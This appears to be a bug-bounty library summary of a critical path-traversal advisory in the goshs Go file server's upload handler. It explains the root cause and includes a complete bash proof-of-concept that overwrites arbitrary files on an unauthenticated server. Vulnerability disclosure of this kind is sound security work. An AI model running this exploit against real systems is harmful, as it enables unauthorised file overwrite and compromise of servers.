# goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload

goshs POST /upload builds the target directory from the unsanitized URL path, letting an unauthenticated attacker write arbitrary files anywhere on disk.

- Payout: Research
- Severity: critical
- Program: goshs
- Found by: autobot23920
- Disclosed: 2026-04-03
- CVE: CVE-2026-35393
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jg56-wf8x-qrv5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jg56-wf8x-qrv5
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:file-upload vuln:path-traversal

**Target:** HTTP file-upload endpoint (POST /<path>/upload) in goshs Go server
**Root cause:** The upload filename is basename-sanitized, but the destination directory is derived from req.URL.Path without sanitization; the route only checks the path ends with /upload, so ../ sequences in the URL escape the webroot.
**Steps:**
1. Identify the upload route: server.go:49-51 routes any path with suffix `/upload` to the handler in httpserver/updown.go:71-174.
2. Craft a URL whose path traverses out of the webroot but still ends in `/upload`, e.g. 16x `%2e%2e/` followed by the target directory and `/upload`.
3. Send `curl --path-as-is -X POST -F "file=@local;filename=<target basename>" http://host:port/<traversal><targetdir>/upload` so curl does not normalize the traversal.
4. The handler splits the URL path, drops the trailing `upload`, joins the rest as the target dir, and writes UploadFolder + target + "/" + sanitized filename, landing the file at the attacker-chosen absolute path.
**How found:** Code review of the upload handler: noticed the filename was sanitized (slashes stripped) but the directory component taken from req.URL.Path was not, and the route only validated the /upload suffix.
**Exploitation:** Unauthenticated attacker POSTs a multipart file to a traversal path ending in /upload; the server writes attacker-controlled content to any existing directory on the filesystem, enabling arbitrary file overwrite (e.g. dropping a canary at /tmp/can).
**Insight:** When a handler sanitizes one user-controlled path component (filename) but derives the parent directory from the URL, check whether the route matcher only validates a suffix — a traversal prefix still satisfies it. Also try URL-encoded `%2e%2e/` with `--path-as-is` so the client doesn't normalize before the server sees it.

## Proof of concept (copied exactly from the original report)

**Bash PoC script for path traversal upload**

```
#!/usr/bin/env bash
#
# Example:
#   ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] POST:    ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X POST \
    -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
    "http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```

